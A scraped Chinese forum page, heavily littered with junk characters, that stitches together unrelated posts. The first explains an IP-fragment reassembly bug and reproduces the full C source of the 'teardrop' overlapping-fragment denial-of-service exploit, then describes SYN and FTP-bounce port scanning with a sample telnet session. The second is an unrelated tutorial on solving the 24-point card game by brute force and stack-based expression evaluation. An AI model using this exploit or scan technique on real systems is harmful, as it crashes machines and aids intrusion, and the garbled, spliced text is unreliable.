i = prev-&gt;end - offset;& h: L% M- L6 G+ N7 B+ _& z/ q* y. k# m
offset += i; /* ptr into datagram */# z$ t+ y! Y5 _' u* @1 d5 j: [' K
ptr += i; /* ptr into fragment data */# a! T- L! R& Z- X. [+ i1 ^
}</P><P>/* Fill in the structure. */; `7 ?) U; a# G( _7 |# h- E: {
fp-&gt;offset = offset;: b0 t( a$ D9 i8 e
fp-&gt;end = end;  E; ]  E% {( j% z& ^$ T4 ~0 ]
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:0 W: d- K5 o2 D- B4 e3 Q
第一个碎片:mf=1 offset=0 payload=20
4 ^* J- w. i3 `5 S; Q  Z) @" x敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 8 ~8 c9 ~* `9 n8 B# `  @
offset=0- x0 A8 u5 ^; N! [& U( F, W
这样第二个碎片的 end=9+10=19( ~8 C7 `9 M' a. t* U0 k
offset=offset+(20-offset)=20! c$ q! K7 Q1 T" K3 Q) K1 K4 W
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>- F) P& Z3 }# {- K6 c4 ]% q- D/ G0 K& [
/*" q8 n( F5 z5 x% o
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
8 V6 B2 u4 A/ `2 m3 N2 ~5 j2 _*
: z( G% q. Z( R3 b: ?* Linux/NT/95 Overlap frag bug exploit: G2 S+ @9 @, Q5 i' o& Q
** j9 q0 w5 ?+ @5 N1 n) I1 {
* Exploits the overlapping IP fragment bug present in all Linux kernels and% D" p' K' [1 y- D# q
* NT 4.0 / Windows 95 (others?)1 c1 H; n# v3 Z: ^+ w0 Z6 u$ }
*5 ]& \6 ]' W) `' P1 v9 \) E5 P
* Based off of: flip.c by klepto' X) o  ^: O7 I7 e
* Compiles on: Linux, *BSD*
0 r# m* p/ Y: ~3 p. ]4 _) F*3 ?  B) t! j) F' `
* gcc -O2 teardrop.c -o teardrop
0 `% o" x0 P) Z& S# X4 u: v- o* OR- O7 P7 S# H$ }" d8 Q
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING7 a+ ~9 i0 V: a
*/</P><P>#include <STDIO.H>1 O( Y2 D* P' \
#include <STDLIB.H>! e- H- n3 W, r; X
#include <UNISTD.H>
8 u8 ?4 e! g* [: O+ U#include <STRING.H>2 [$ D& L7 f! R2 r" d" E/ B
#include <NETDB.H>
5 _. N% w+ y& P6 e4 o3 O' W8 J#include <NETINET in.h>% C; V5 r/ T3 l: r9 t
#include <NETINET udp.h>
* q) X/ _0 I4 P9 n9 w" B6 t#include <ARPA inet.h>/ |( o1 d9 H9 S, M. `4 _
#include <SYS types.h>
, H3 Y7 W* o9 H#include <SYS time.h>: a) d4 X' G: c& y' q+ t
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
6 B7 V# B% _( ?, N4 l3 J8 P/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */1 ^5 t1 C6 n" u' E* [  c
#define FIX(n) (n)* Y: H- Q3 @1 x; A2 C0 u
#else /* OpenBSD 2.1, all Linux */& `7 z2 K# C3 L/ |4 w4 d
#define FIX(n) htons(n)# K% u" @  @; ~- a' }$ q3 }
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
+ E/ J( s9 [9 ]+ k- u3 Z. C! r#define IPH 0x14 /* IP header size */
0 S( {) c% @9 b2 e  l1 Y5 b3 i" D0 e#define UDPH 0x8 /* UDP header size */, M7 I% q8 }+ q! v: ^, M
#define PADDING 0x1c /* datagram frame padding for first packet */* {9 r2 Z1 G# S; J. n
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
$ T4 e5 @4 C0 n& F+ O4 O! ]#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
; O; @# @/ ^4 @6 q- O3 {& ]0 {* withstand maybe 5 or 10 sometimes... Experiment.& w: o! \/ E6 J& ~$ O
*/</P><P>void usage(u_char *);. o/ x3 V% Y+ \, o% {
u_long name_resolve(u_char *);1 q5 u$ f9 q5 {2 i. c. H& M6 E( G1 \
u_short in_cksum(u_short *, int);) R. Z( e) G/ r7 l. A- C
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)2 G" T3 X- T) Z+ P
{
: y6 N- g: V7 c- |  vint one = 1, , e0 d/ N9 F* b9 s  {/ J4 L
count = 0,
$ `1 Y0 P% [& O3 B2 D) i% R  pi,
3 ~9 v7 q) z2 t% B- V( Crip_sock;
" U6 ~1 D5 f" \6 K6 Lu_long src_ip = 0, dst_ip = 0;4 t# X$ D; h. ]
u_short src_prt = 0, dst_prt = 0;
5 a! F8 N8 w6 Q6 v) zstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW" _: T0 K) y9 ^- \! `5 m8 C
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)" P/ `/ c0 j% B+ F7 @$ ]5 {
{" c) A9 I3 f3 V- k
perror("raw socket");
7 G  Z2 N" s/ y9 bexit(1);
0 [" O" Z( s7 o3 C}
* q9 k# M9 D( b9 i: p6 v- f5 h//由系统处理IP校验和。
- @& r& \5 X; ?  ^1 Y6 lif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
2 W* a# b6 O( V9 ~9 Q: P& c; Z: G&lt; 0)4 G8 R) p; e; N
{
! B' e6 ]$ z- e7 t# K5 Wperror("IP_HDRINCL");: ^$ M5 d2 a' q& [/ @7 ]4 Z9 H
exit(1);$ w) F7 v- r( o2 L+ M* T
}</P><P>if (argc &lt; 3) usage(argv[0]);$ E$ z% @' `3 ?4 p, ]
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))); V( E  [) }4 |5 p; K. }. h
{/ v5 C4 ~1 O" R: U( J$ n
fprintf(stderr, "What the hell kind of IP address is that?\n");0 ]3 N7 n9 a; F" ~2 f! G" h5 X
exit(1);" V! W5 h/ _3 I1 Y! s9 @
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF), L: ?! J6 a6 O/ V" u+ m/ ~
{9 g  Y0 z) a8 T! W9 K( A
switch (i)
5 _7 u  Y/ ?$ e* T' m{$ u; z- n9 F# z3 G& e( t
case 's': /* source port (should be emphemeral) */
7 S$ t2 y* t3 x: A7 {+ Esrc_prt = (u_short)atoi(optarg);
: T; ]% X- d2 }. a4 Q) }# Kbreak;
# D% K' t0 J0 gcase 't': /* dest port (DNS, anyone?) */* Y9 _& S, B% F/ M% s, R
dst_prt = (u_short)atoi(optarg);
# X. P, ^. I* q5 y5 G. a- Ybreak;: e) @$ [" [2 _! a+ }& H
case 'n': /* number to send */
, p/ S! Y0 @7 \* V/ Xcount = atoi(optarg);) e: B* c$ x) r$ n8 c# A
break;
5 U* X5 f& g% ^8 d; r/ L8 [default :% I( i# I& t3 I$ g! p9 S
usage(argv[0]);7 k( e; K% G' e( j
break; /* NOTREACHED */0 @, |% w3 j& i( r' U1 h4 X/ w
}8 c8 c& @6 z" ]# k
}</P><P>srandom((unsigned)(time((time_t)0)));
2 K4 u* W! X& x1 F/ m5 K2 O: gif (!src_prt) src_prt = (random() % 0xffff);
: @+ [/ ]* k4 T  w) ]if (!dst_prt) dst_prt = (random() % 0xffff);
6 r, `1 _! U  k4 R+ ~) Y8 }5 Gif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
4 z& N, Q' v+ ^$ paddr.s_addr = src_ip;) R* \9 r" Q" ~1 \$ n
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);5 l( v, J1 d' h+ M/ D4 O$ @
addr.s_addr = dst_ip;
1 F# z# T' n* q+ [/ b- Wfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
- E  t7 ^$ I- Q4 ^8 c" b' F' lfprintf(stderr, " Amt: %5d\n", count);# x1 \: K# |# u) @) q* d# p
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)( |1 F3 e  A% O2 E+ F
{5 R. `( P; @- ?  ?/ a1 `4 K" U
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);9 k. O0 ?. f+ Y" z; b
fprintf(stderr, "b00m ");
9 B! B/ {& F, l% ~# l1 z, Lusleep(500);
' D, c! S0 s1 k6 u1 T1 ]- C}; K. u5 `# O; m7 n- p5 n$ x
fprintf(stderr, "]\n");% E* M) _9 J; y9 _
return (0);
4 n3 \9 h- q5 l8 v}</P><P>/*: e. O* s) X# B8 _& `3 P
* Send two IP fragments with pathological offsets. We use an implementation
3 W; f# K6 n( q9 ~* Z* independent way of assembling network packets that does not rely on any of
+ C* K/ q& c( y' U! \* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
. w8 }* Q* A0 A6 H2 ~. @*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
7 M# U7 [; K, _$ cu_short dst_prt)
3 ]' o9 T/ Y! P{7 _. H, V- j: z8 c9 k1 F" a# j( Q
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */) \+ S2 D3 K& c" L
u_char byte; /* a byte */! h* K3 Q! J  ]) a  J' z2 p
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;) f' O% U/ \' }! L3 z
sin.sin_port = src_prt;! Y. Q4 D& f& `! b
sin.sin_addr.s_addr = dst_ip;</P><P>/*' z6 I$ {! O  i/ ]/ }5 |
* Grab some memory for our packet, align p_ptr to point at the beginning
9 Z$ `- s9 z6 B' G* of our packet, and then fill it with zeros.+ [" C% p: C. S
*/
6 J6 B: J7 h+ X; Z5 M0 spacket = (u_char *)malloc(IPH + UDPH + PADDING);" w3 n" g4 S8 i& l
p_ptr = packet;
# A9 k4 ]) M0 J" s* C8 b4 Lbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
, P$ r4 \+ r5 Z' n  G# z1 wmemcpy(p_ptr, &amp;byte, sizeof(u_char));
* E9 M% h- a! N9 Hp_ptr += 2; /* IP TOS (skipped) */. {* q6 ?8 @) ]* }) C
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
+ ^" s" F. {# e. U5 }p_ptr += 2;
; Q2 M/ \9 k- y1 c, w*((u_short *)p_ptr) = htons(242); /* IP id */
" m( {( P+ e0 U- i: Ip_ptr += 2;. u+ U* \+ z  f1 T2 o
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
( G' M8 v8 V, y2 q, V; Y4 Up_ptr += 2;) D0 u  z5 ^1 V8 l: H& N4 T
*((u_short *)p_ptr) = 0x40; /* IP TTL */6 O9 D5 a- B% _! ?
byte = IPPROTO_UDP;; E# S7 n6 i0 ^; E
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));% _/ q" N2 f' p7 {4 H
p_ptr += 4; /* IP checksum filled in by kernel */$ h4 ?! W4 j" n0 M8 m* W
*((u_long *)p_ptr) = src_ip; /* IP source address */9 g/ Y$ B" e) h9 ?7 d0 ^* u
p_ptr += 4;2 Y: q* N/ }& `: Y7 C6 |) M
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
: ^  p( W- r' ]  C7 Q. E9 h; np_ptr += 4;
: v' g" v6 @% ^*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
$ I3 ]6 Z- J2 L  T3 z) Mp_ptr += 2;
( \, C1 i' y; q% o& g1 h*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */$ q0 n  e9 }5 ~7 |3 B$ e: q. T
p_ptr += 2;
5 G  ?; c% T: K" k*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
$ P" T4 o; o6 d3 m, f6 ~- v4 y" Jsizeof(struct sockaddr)) == -1)& N8 }/ ]: @' v  t& U3 W7 P# R) w) l
{
; w* M* l0 y+ c: M. W1 uperror("\nsendto");  |) K" I' {9 a' T
free(packet);
" `7 P! W9 }8 lexit(1);
* l6 G- }" o8 L; [& }0 ]) K}</P><P>/* We set the fragment offset to be inside of the previous packet's
$ w+ Y1 T% ^& h# p* payload (it overlaps inside the previous packet) but do not include
& o7 W- t5 ?$ N% @7 h/ M7 p* enough payload to cover complete the datagram. Just the header will  W9 I1 M) W( c& x7 @) I
* do, but to crash NT/95 machines, a bit larger of packet seems to work0 \7 [" V; |: k9 X) N- B' ^2 X
* better.* c7 q4 D' h. ^2 [
*/
  t2 S$ Q5 u: Q6 b* `' k( m* fp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
) [4 @8 U  g' R8 M; N. i9 m*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);1 B) S7 c1 u" [$ G
p_ptr += 4; /* IP offset is 6 bytes into the header */
  I9 Z, C# k. C. }*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,4 L# d: ]" }" ]2 b
sizeof(struct sockaddr)) == -1)6 F4 S, Y: [, H# V9 B: O7 i  p! p
{
/ S  [1 M. ^6 e: N9 ?perror("\nsendto");2 }7 e+ ~4 @( h' `6 S* Q* I# Q# T* c! S
free(packet);
' |( ~1 @8 A, h! p4 a4 eexit(1);
$ S* |% I+ c& U1 S$ T/ R}1 L0 c2 ~, D; Z% _3 |! P( G
free(packet);" V1 m0 @. t& k  ?: e
}</P><P>u_long name_resolve(u_char *host_name)
# e, o& L0 P7 T2 k+ ^3 k" ]6 [- b{
: ?% w" Q# Z* e3 a" B) N! ]struct in_addr addr;* @# ~1 z5 [) F5 n' @; D3 L& N
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
3 F- X( q& w& q' Z" K7 |; _- [% L) [1 `: R{
" E; X, }( x( W1 F( G2 _7 }, ^+ s& cif (!(host_ent = gethostbyname(host_name))) return (0);
. j7 y- ^  R7 Y9 B5 \+ Z$ Lbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);6 Y1 J" a8 n5 E0 O: y
}
0 ^9 h, X+ r4 y1 d% Y2 I1 {return (addr.s_addr);- X9 K. Z" T& S% ], F& I
}</P><P>void usage(u_char *name)
  Y, ~1 H2 w) N5 f$ q{
- }0 m# [$ J3 i% Z" g0 W, R- `( Ufprintf(stderr,# W0 `- F. v1 I: C
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",6 k# n& F4 k  \; F
name);
/ X. B# L2 P. Y3 a3 c0 xexit(0);# j5 S; y9 @* p  q- \+ X
}</P><P>
, Y# f! o( ]5 y$ i# z8 `4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 0 @0 ^3 U6 @* h; ~7 O8 ^$ L2 ]% L
(1) Half-open(半打开). {1 T) g2 R/ S
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),  M- N, q' k9 L9 n8 f, X
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
0 D) j% {$ j. {: ~$ L( r  F利用了FTP的port命令,例如可以这样作:
  p: R" U- }2 Q* o% c( Q0 v选择一个FTP服务器,连上后令port命令指向目标机,如果返回
  r+ Y* E6 G: u) ]- Y! P4 f; x值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
: ~+ r  i  C5 k3 J9 L+ H" D$ ]该端口无服务。
' Q3 @9 ^( ^% P, ~0 ]telnet 192.168.1.13 21+ X3 y5 a( A# N$ r8 s4 n
Trying 192.168.1.13...2 Y5 G4 ~# f4 c1 L) p; M0 G
Connected to pp.bricks.org./ n" ]( E( v& c5 B6 {
Escape character is '^]'.6 \  A: I' s( @
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
" {" O7 X# I# j4 G) L5 i9 C" uThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
) \% o6 `8 ?, A& A/ P& t; C+ j331 Guest login ok, send your complete e-mail address as password.- v- ]5 C$ F! ]3 x$ I
pass aa@aa.aa7 e9 w" ]& @2 Z) d6 R
230 Guest login ok, access restrictions apply.
# E4 [1 y  `& T* u+ J% F' ?port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
5 f' D8 |8 d0 _+ g425 Can't build data connection: Connection refused.# X4 _4 x( G9 N/ [% D
//该端口未活动 % x8 L; y$ E9 o$ O7 ?" j8 x
150 Opening ASCII mode data connection for file list.
% ]" ]* u% \$ t6 T: r226 Transfer complete.
. ?9 E) G3 b: k8 o( J//该端口活动中( N  L, R# j. k4 R# G* z
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
- {, J# x) K+ _8 }, f( hSYN|FIN ACK or SYN|ACK* RST
- z8 `; e8 f2 ^ACK Nothing RST
' y: E' R/ B6 e7 \% l' s0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport( }$ l/ J7 n) X1 \0 `  v
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,, z7 V" U' ]7 R# y& J7 ^1 ^& ^2 q4 s
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
' r' I" |1 g" u$ A: m5 s定它在向你做portscan。</P><P>notes:
1 d( y4 P' @- M/ A6 T8 J早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
, F) k. a  B4 T( u, b9 ~而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
+ q4 n9 c, g. p都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>( f; u( @& d2 `- b+ j( T$ t
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。! g7 b8 l) {- `

8 W* L$ c- j: Z( X1 j  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 7 ^7 W$ J9 K. z/ A. T
首先穷举的可行性问题。我把表达式如下分成三类——* ]  A. l4 G4 G" ?, j( y8 \
<FONT color=#ff0000>1、 无括号的简单表达式。
. M( a3 I) `# X  }. B2、 有一个括号的简单表达式。/ Y, z+ s0 t6 V; b0 @
3、 有两个括号的较复4、 杂表达式。5 C! r% h2 {' f  H6 [  t: P/ v
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:3 F& f" S) u, [+ `5 a  o
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
9 W8 H: l2 o- `5 R" I/* c[] 存放四张牌的数组 */& p$ R: }7 Z6 X# ?; m8 n7 @* i! @
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
# T3 ?" x# I0 u- k用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */3 F* }8 v( D9 \% k# H
/* kans[] 暂存生成的排列组合 */
3 i+ z# C( e, Y! _7 w7 n8 k/* j 嵌套循环的次数 */# \3 b( w" T1 i; \" f
int fans(c,k,ans,kans,j), \" v' e+ _2 {! o  w
int j,k[],c[];char ans[],kans[];
5 m: j: n& S/ U4 |7 @& F8 K' W{ int i,p,q,r,h,flag,s[4],t[4][4];
) s; T7 C0 O4 |; T2 g4 Rfor(p=0,q=0;p&lt;4;p++)
  [9 h& y$ _& e* Z: c{ for(r=0,flag=0;r<J;R++)0 `. F, L+ O7 r4 @, s+ F
if(k[p]!=kans[r]) flag++;
: S; E2 c$ {( c9 V$ `if(flag==j) t[j][q++]=k[p];/ M6 [: `0 L  I
}
4 t* w) K; h8 \: l5 l' ifor(s[j]=0;s[j]&lt;4-j;s[j]++); T" A( p4 J9 m2 i
{ kans[j]=t[j][s[j]];9 ]! z+ q9 J8 x) v
if(j==3) { for(h=0;h&lt;4;h++)
5 O" f7 j5 h7 C# Xans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表3 h+ F  |% W- P
达式中的位置 */
# P! n: ]" w5 o* ~6 Y, U7 M) @! sfor(h=0;h&lt;3;h++). x* q9 x9 l/ S' l$ }% g. r2 ?: Y
symbol(ans,h); /* 在表达式中添加运算符号 */
) f% q6 L) P0 p; x}
7 z6 {0 z3 z3 \  p, ]9 u% a+ Lelse { j++;
3 i# c# j8 u% r# ?7 Ufans(c,k,ans,kans,j);
% |: y" y3 ~$ Z9 n$ m8 i! mj--;
& s: ]* P1 s: b( p}
& o7 V4 O( H+ z' I}
: F: @, a$ n) N6 S- Q}</FONT># s4 x% K3 t) r. H7 V

) a0 t9 p) d4 `) b$ z" `  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
& \$ x4 R: @% N! X; x
. J7 U, t- h# o! n<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/0 i% t4 @2 ~/ ^9 p' s( _
int sans(ans,sy,j,h)  U* S' p* q/ |% L: i
char ans[],sy[];int j,h;; L) S- P6 Y$ i9 V
{ int i,p,k[3],m,n; char ktans[20];
. f' ?3 v8 y/ |4 I& ffor(k[j]=0;k[j]&lt;4;k[j]++). X. z, z8 r1 s% s8 {
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位$ q8 K/ D$ b; y7 L
这里的三个运算符号分别存放在1、3、5位*/ ' E; t( N, G5 v% F, {) M. E
if(j==2)( }0 I. }) ]" g5 s4 Z3 |7 J9 G( l
{ ans[5]=sy[k[j]];
, w9 j( i; P& g2 b3 Z/* 此处根据不同的表达式形式再进行相应的处理 */% l8 a+ o; u; c  m
}3 X; K' G9 F, a
else { j++; sans(ans,sy,j--,h); }9 o9 X6 S1 i0 }/ b  e* r5 G6 h1 ]$ u
}
/ B: u$ i% R# c5 y}) b) b. w# c% L! c0 |

9 c& F& G+ m$ [" O  m9 I# N( E</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。2 f4 a' l4 S+ h! C; d7 [% O8 }
for(m=0;m&lt;=4;m+=2); o- j& I# m% S; }, O4 }
for(n=m+4;n&lt;=8;n+=2)" _; ~# h& Q; Y& _, `( O
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。4 s' N2 E7 Z' r0 O" m4 j3 G
5 K& K& Z7 P$ s6 v9 Z8 {
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。9 ]) I5 @5 J! J1 w. M
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。/ `2 c+ D" ~/ n0 C% F& x! c5 q
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
3 q# b& s8 z/ O! e: k9 v
3 V8 c3 ~/ v  E% k  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。. O; n: |# m$ H1 ]/ S; T
/ H% d) c; S$ O) s
  那么作为栈的著名应用,表达式的计算可以有两种方法。
0 C9 @3 {, e/ Z# M6 m- f8 H& J8 c5 f) B2 u: B" n
  <FONT color=#ff0000>第一种方法——</FONT>
" ^' ?7 @; A/ z, l  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。* Q& ]7 N& P5 q" ^# X4 y/ B  X
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:# o" \1 h- z% w0 x7 C! \
1、 若W为操作数
, g8 Z$ Q: W8 T  J8 L$ k; x2、 则将W压入操作数栈OVS
* \5 N+ R8 A  J3、 且继续扫描下一个字符  ~' H2 w8 k7 P1 i* S, E0 u; t. U4 @
4、 若W为运算符5 ^6 q7 Q' ~5 L& S1 L- t: E
5、 则根据运算符的性质做相应的处理:
) {& m% q* X: ~/ Q$ ~(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
% `' F/ h& F) }" c% T- S; t( ?(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
, h$ J$ U9 F% s" m4 N(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。- j6 p1 S2 @# z; [! w$ K* u
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。- Z) }2 f3 C: V; q% p
$ x. s- a3 z- i3 o3 M& y5 d$ Y
<FONT color=#ff0000>  第二种方法——</FONT>
8 S5 A' T& c; a  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
' e  z! I# [( K8 W8 {- z0 E9 |0 ]) m0 \8 F% e* W% S
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
& |! f: q/ o( p( P" \2 u6 S1 y
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。; L* o0 w. R; O6 ^$ o: H3 [
表达式 波兰表达式
3 f/ x" a% t8 t5 L# \# }A-B AB-$ Z& i- ^4 u. Y# ~! O# d
(A-B)*C+D AB-C*D+
, l# `, _! H$ U$ G/ z5 t' w; l" ?A*(B+C/D)-E*F ABCD/+*EF*-* V* {) L) f0 t, w- J
(B+C)/(A-D) BC+AD-/8 G$ D, `# r. i
0 Z3 @- n" m( s$ N  H2 t- B
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
  _3 k& d8 {+ |$ h1 N: F" z* i6 [, U( j1 f* F! k. Q
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。! `" u: M7 e4 q0 ?4 E+ f: l

: ]8 ?/ R8 r# k  U; F* w  下面给出转换和计算的具体实现程序——" k  a" E% |! l8 K5 S, i' s
7 s. O$ }/ o5 a9 S9 G# h; F
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
$ d2 ~! \' @$ q6 Z7 V5 Iint first(char c)& ^; i$ h. l% S/ _
{ int p;
- {6 {& \& w. B* [% }- Sswitch(c)" g3 m6 A* T5 @/ Q% j# X
